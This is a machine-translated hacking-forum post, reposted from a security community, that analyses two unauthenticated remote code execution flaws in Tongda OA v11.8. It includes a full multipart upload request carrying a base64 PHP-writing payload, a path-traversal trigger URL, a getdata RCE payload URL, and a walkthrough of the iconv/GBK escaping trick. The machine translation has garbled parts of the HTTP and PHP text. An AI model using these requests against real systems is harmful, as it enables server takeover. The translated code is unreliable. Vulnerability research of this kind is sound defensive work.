跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

通达 v11.8 前台文件上传&命令执行漏洞利用分析

精选回复

发布于

## api.ali.php 上传任意文件

### 受影响的版本

v11.8

###漏洞复现过程:

该漏洞的原理是通过文件上传的方式上传一个json文件,然后调用一个程序解析该json文件并执行其中的php语句。

首先需要上传一个json文件

完整数据包:

````

POST /mobile/api/api.ali.php HTTP/1.1

主机:

用户代理: Go-http-client/1.1

内容长度: 422

Content-Type: 多部分/表单数据;边界=502f67681799b07e4de6b503655f5cae

接受编码: gzip

--502f67681799b07e4de6b503655f5cae

Content-Disposition: 表单数据; name='文件';文件名=\'fb6790f4.json\'

Content-Type: 应用程序/八位字节流

{\'模块化\':\'AllVariable\',\'a\':\'ZmlsZV9wdXRfY29udGVudHMoJy4uLy4uL2ZiNjc5MGY0LnBocCcsJzw/cGhwIGVjaG8g dnVsbl90ZXN0Oz8+Jyk7\',\'数据分析\':\'{\\\'a\\\':\\\'Jin',eval(base64_decode($BackData[a]))));/*\\\'}\'}

--502f67681799b07e4de6b503655f5cae--

````

然后发送get请求写入文件,成功写入webroot目录下的fb6790f4.php,2109是年月。

````

/inc/package/work.php?id=./././././myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4

````

###分析过程

文件上传功能在mobile/api/api.ali.php文件中实现。

它包含三个文件:conn.php、api.api.class.php 和utility_file.php。这三个文件负责加载通达的配置信息和常用功能,不涉及权限验证7098ec8c92bbb4ba416f2b4d00478912.png

跟进utility_file.php下的upload()

$ATTACH_NAME=filename_valid($ATTACH_NAME); $ATTACH_NAME的值为上传时的文件名

然后会判断上传的文件后缀是否允许,限制php、php3、php5等文件后缀,以及文件名是否合法。没有错误的时候会进入1761行1a2457ad1e060252dac5a4a13a27d151.png

bd0d7e3029d343a68cd5a54caaf2f877.png

跟进add_attach(),系统会将我们上传的文件保存在attach/approve_center/2301文件夹下,其中2301是上传的年份和月份

文件名$FILENAME 由两部分组成:$ATTACH_ID 和$ATTACH_FILE。 $ATTACH_ID 是随机生成的数字字符串。通过跟踪发现MYOA_ATTACH_NAME_FORMAT始终为false,所以最终的文件名是随机数+上传的文件名。

通过该功能,您可以将可执行文件以外的文本文件上传到服务器。

````

$ATTACH_NAME=str_replace($EXT_NAME, strtolower($EXT_NAME), $ATTACH_NAME);

$ATTACH_FILE=(MYOA_ATTACH_NAME_FORMAT ? md5($ATTACH_NAME) . \'.td\' : $ATTACH_NAME);

$ATTACH_ID=mt_rand();

$文件名=$路径。 \'/\' 。 $ATTACH_ID 。 \'.\' . $附加文件;

``bb660829ac93288ae618d0a46dcc9d4b.png

触发生成php文件的功能点代码文件在/inc/package/work.php下,没有进行认证操作45ff716129fb3cbf41640e7e541b7e3f.png

收到id参数后,进入DataTransport类下的acceptData()。程序首先将用户传入的id拼接到文件路径中,然后执行file_get_contents()读取$json_file指向的文件。

MYOA_ATTACH_PATH2 的值为myoa/attach。问题是$id在路径中拼接了两次,程序没有过滤./。而且,通过上面的分析,我们知道上传到服务器的文件名都是一串9位随机数,我们并没有得到准确的文件名。

linux下可以通过*,这种类型的通配符用于匹配文件名。例如/etc/passwd可以与/etc/pass**匹配成功。也可以通过在file_get_contents()中使用来实现,''用于匹配一个随机生成的9位随机数ec6398847f332cae4a62d8a79310d480.png

aac3c6ac63c2eb82965c4ad9131b3680.png

file_get_contents() 读取文件时有一些特殊功能。在d盘data文件夹下创建test.txt文件进行测试,使用file_get_contents()读取文件。

````

file_get_contents(“D:/data/test.txt”)

file_get_contents(“D:/aabb/./././././././data/test.txt”)

file_get_contents("D:/baba/daad/././hah/das/./././data/test.txt")

````

这三种FilePath形式最终都能成功读取data/test.txt文件。只要最后一个./后面跟着正确的路径地址,file_get_contents()就可以成功读取文件。

另一个关键部分是跨目录级别的数量必须大于或等于目录级别的数量。

````

file_get_contents(“D:/MYOA/attach/syn/resc/././attach/syn/resc/././MYOA/attach/syn/recv/test.txt”)

file_get_contents("D:/MYOA/attach/syn/resc/././././attach/syn/resc/././././MYOA/attach/syn/recv/test.txt")

````

第一种写法无法读取test.txt文件,但第二种写法是可以的。你可以根据两者的区别来理解。

现在读取json_file文件的问题已经可以解决了,work.php中传入的id参数为

````

./././././myoa/attach/approve_center/2109/%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E%3E.fb6790f4

````

程序读取json文件后,执行AllVariableBusinessProcessing类的backDataAnalysis() 872f382357da8c4e385cfbc3ffb2793f.png

2ea150b419ce3f0495fc583d98985350.png

该方法下有一个eval函数来执行代码,$variableData的值是可控的。

````

$variableData=$BackData[\'数据分析\'];

$variableData=json_decode($variableData, true);

$variableData=eval \'return \' 。 iconv(\'UTF-8\', \'GBK\', var_export($variableData, true) . \';\');

````

至于为什么dataAnalysis是这种格式,我们下面会详细讲。首先是一个演示。

````

$c='ZWNobyAxMjM0Ow=='; //base64解码为echo 1234;

$d='ZWNobyAxMjM7'; //base64解码为echo 123;

$a=数组(

'a'='eval(base64_decode($d))',

);

$b=数组(

'a'='b',eval(base64_decode($c)));/*',

);

````

上面的代码中,定义了两个数组a和b。执行后可以看到程序输出了1234,说明$b中的php语句执行成功。只要用户能够控制$b[a]的值,设置$b[a]='b',eval(base64_decode($c)));/*',并将前面的单引号括起来,就可以执行恶意PHP语句。

但是,当调用work.php将json文件的内容读取到$variableData中时,单引号将会被转义。要成功执行PHP 代码,必须对单引号进行转义并以前面的单引号2baf4dcd91ab2cfbb1aa47fe836b693a.png 结束

幸运的是,主角iconv 出手相救。 iconv这里的作用就是将$variableData从UTF-8编码转换为GBK编码。 Jin的UTF-8编码为\\xE9\\x8C\\xA6,GBK编码为\\xB0\\xA1。编码转换后,\\xB0\\xA1会与\\组成一个新字符,单引号成功转义。f0061cb42ed915b2c247aa09ab4d16e2.png

## getdata 任意命令执行

v11.8下还存在前台任意命令执行漏洞。该漏洞的利用方法与上述类似。

````

Payload: /general/appbuilder/web/portal/gateway/getdata?activeTab=%E5%27%19,1%3D%3Eeval(base64_decode(%22ZWNobyB2dWxuX3Rlc3Q7%22)))%3B/*id=19module=Carouselimage

````

漏洞代码位于general/appbuilder目录下,为MVC架构。首先查看web/index.php文件,判断config["params"]["LOGIN_UID"]是否为空。跟进config/web.php文件可以看到config["params"]["LOGIN_UID"]=””066d02ec279296f04cd90a954b7fd9ef.png

继续执行会判断是否存在对应LOGIN_UID的会话。当我们没有登录的时候它是不存在的,所以我们会输入下面的else语句。

````

否则{

$url=$_SERVER[\'REQUEST_URI\'];

$strurl=substr($url, 0, strpos($url, \'?\'));

if (strpos($strurl, \'/portal/\') !==false) {

if (strpos($strurl, \'/gateway/\')===false) {

header(\'Location:/index.php\');

sess_close();

出口();

}

else if (strpos($strurl, \'/gateway/saveportal\') !==false) {

header(\'Location:/index.php\');

sess_close();

出口();

}

else if (strpos($url, \'编辑\') !==false) {

header(\'Location:/index.php\');

sess_close();

出口();

}

}

else if (strpos($url, \'/appdata/doprint\') !==false) {

$_GET[\'csrf\']=urldecode($_GET[\'csrf\']);

$b_check_csrf=false;

if (!empty($_GET[\'csrf\']) preg_match(\'/^\\{([0-9A-Z]|-){36}\\}$/\', $_GET[\'csrf\'])) {

$s_tmp=__DIR__ 。 \'/././././logs/appbuilder/logs\';

$s_tmp .=\'/\' 。 $_GET[\'csrf\'];

如果(文件存在($s_tmp)){

$b_check_csrf=true;

$b_dir_priv=true;

}

}

如果(!$b_check_csrf){

header(\'Location:/index.php\');

sess_close();

出口();

}

}

否则{

header(\'Location:/index.php\');

sess_close();

出口();

}

}

````

通过分析代码可以知道/portal/gateway/**下的路由中只有/potal/gateway/saveportal需要认证,所以这是一个前端RCE。

根据该漏洞的POC,最终在modules/portal/controllers/GatewayController.php中找到该漏洞文件。用户传入module=Carouselimage。程序执行到第2016 行并输入$component-GetDate()。传入的参数中有$activeTab,即需要执行的命令。ce34ec4b0d15a3b19ee01332af297cb8.png

跟进modules/portal/models/PortalComponent.php#GetData()。系统通过id查询数据库中的内容。后面会用到$comtype。设置$comtype=1

$comtype=(字符串) $data-comtype;4c6f96695131ec536ee4ee4757ebe984.png

从数据库的查询结果可以看出,只要设置id=19,就可以控制comtype=1 ee76276a55b285b8999f73038f3b9a92.png

然后将id、comtype、attribute存放到$this_array中,然后输入data_analysis()

````

$this_array=array(\'id\'=$id,

\'来源\'=$来源,

\'属性\'=$属性,

\'comtype\'=$comtype,

.)

``f661109621ccc3634e4c4def5c91b7bf.png

/portal/components/AppDesignComponents.php#data_analysis(),$classname=Carouselimage,当$thisarray[\'comtype\']==\'1\'时,执行到free_components/AppCarouselimage.php#get_data()

从Gateway控制器到AppCarouselimage.php#get_data(),$activeTab没有被处理和过滤,8c763e1274f190f33a3bd5c28e4ad2fe.png

返回网关控制器。执行$component-GetData()后,将返回一个带有$activeTab参数的数组。f57e4a7559b3f9bf107c22d5735b114a.png

在toUtf8()之后,程序通过eval执行我们的命令。这里也使用了iconv,因此payload构建原理与上面分析的ff265166f027b561e01116917dd9c491.png相同

转载自先知社区:https://xz.aliyun.com/t/13175?time__1311=mqmxnDBDcD27I405DIYqCuWpWeV70iDalichlgref=https%3A%2F%2Fxz.aliyun.com%2Ftab%2F1%3Fpage%3D2

作者:1537871692507722

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。